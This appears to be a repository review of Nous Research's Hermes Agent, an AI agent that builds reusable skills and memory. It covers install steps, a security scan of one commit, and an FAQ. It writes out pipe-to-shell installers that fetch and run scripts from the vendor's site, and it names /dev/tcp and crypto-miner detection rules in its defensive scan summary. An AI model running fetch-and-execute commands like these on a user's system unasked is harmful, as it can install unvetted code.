Hermes Agent: The Self-Improving AI Agent From Nous Research (GitHub, Scanned)

Hermes Agent is a general-purpose AI agent with a learning loop. As it works it turns what it did into reusable skills, refines them on later runs, keeps persistent memory and a profile of you, and can search its own past conversations. You talk to it through a full terminal interface or through a gateway that connects Telegram, Discord, Slack, WhatsApp, Signal and email, and it has a built-in scheduler for unattended jobs such as daily reports or nightly backups. Commands can run locally or in Docker, over SSH, or on serverless backends like Modal and Daytona that sleep when idle.

It comes from Nous Research, the lab behind the Hermes family of open models, and has climbed to about 250,000 stars since its July 2025 release; TechCrunch reported in July 2026 that Nous was in talks to raise money at a $1.5 billion valuation, and the agent is a fixture of TikTok explainers. It is MIT-licensed, works with OpenRouter, OpenAI, Nous Portal, your own endpoint and many other providers, and switches models with one command.

• Repository: github.com/NousResearch/hermes-agent
• Licence: MIT (MIT License)
• Language: Python. Stars: 250.8K. Forks: 53.8K. Last push: Oct 3, 2026.
• Scan: safe, Oct 3, 2026, commit bd0affe

Who it is for

People who want an agent that runs on a cheap VPS or home server and gets better at their recurring tasks, developers comparing agent frameworks, and OpenClaw users curious about an alternative.

Getting started

1. Install on Linux, macOS or WSL2 (Windows PowerShell: iex (irm https://hermes-agent.nousresearch.com/install.ps1))

curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash

2. Reload your shell and start chatting

source ~/.bashrc && hermes

3. Pick a model provider, or run the full setup wizard

hermes model

4. Connect Telegram, Discord, Slack or WhatsApp

hermes gateway setup && hermes gateway start

The installer is a script piped from Nous Research's site; it installs Python, Node.js, ripgrep, FFmpeg and Astral's uv. On Windows, some antivirus tools flag the bundled uv.exe, and the README explains how to verify it against Astral's signed release. You need a model API key, a Nous Portal subscription or a local endpoint.

Safety scan

We cloned NousResearch/hermes-agent at commit bd0affe on Oct 3, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

• 17,159 files and about 3.9 million lines, mostly Python and TypeScript. The 42 secret candidates are test fixtures and documentation placeholders such as xoxb-your-token-here in the Slack setup guide; none is a real credential.
• The 106 pattern hits read as expected. The curl | sh lines are the desktop app telling you how to install Hermes on a remote host; the base64 exec calls in hermes_cli/_launchers.py and tools/file_operations.py encode Python snippets so Windows quoting cannot mangle them, not to hide anything; the crypto-miner and /dev/tcp hits are detection rules in Hermes's own skill and plugin guards; persistence is the launchd and systemd service for the gateway.
• scripts/install.sh (890 lines) and setup-hermes.sh use sudo for system packages and add Hermes to your shell profile. setup.py has a custom install command, and a google-workspace skill helper named setup.py runs commands when you invoke that skill. The agent itself runs shell commands by design; command approval and container backends are the controls.
• 135 known advisories across 2,645 packages. The one critical is PyJWT 2.13.0, pinned for the optional Skills Hub GitHub App login. The root package-lock.json holds the desktop and web apps and includes Electron 40.10.2 with five high sandbox and protocol advisories, which matter if you use the desktop app. 26 more sit in the documentation website's lockfile.
• 51 workflows. Two use pull_request_target and neither checks out the pull request; all 39 third-party actions are pinned to commits. Security policy, Dependabot, CodeQL, licence and contributing guide present.

What the scanner counted

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

By the numbers

Lines by language: Python 2.2M, TypeScript 973.6K, Markdown 484.5K, YAML 113.7K, JSON 75K, JavaScript 41.8K.

Questions

Is Hermes Agent free?

The agent is MIT-licensed and free. You pay for whatever model and tools you connect: your own OpenRouter, OpenAI or other keys, or a Nous Portal subscription that bundles 300+ models plus web search, image generation, text-to-speech and a cloud browser under one bill. A local model endpoint costs nothing beyond your hardware.

What does self-improving mean in Hermes Agent?

It does not retrain the model. After tasks, the agent writes skills (stored procedures it can reuse), updates them as it uses them, saves memories about you and your projects, and can search past sessions. The result is that repeated tasks need less instruction over time, within the limits of the model you choose.

Can Hermes Agent import my OpenClaw setup?

Yes. The setup wizard detects ~/.openclaw, and hermes claw migrate imports your persona file, memories, user-created skills, command allowlist, messaging settings and an allowlisted set of API keys. A --dry-run flag previews the migration and a user-data preset skips secrets.

This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.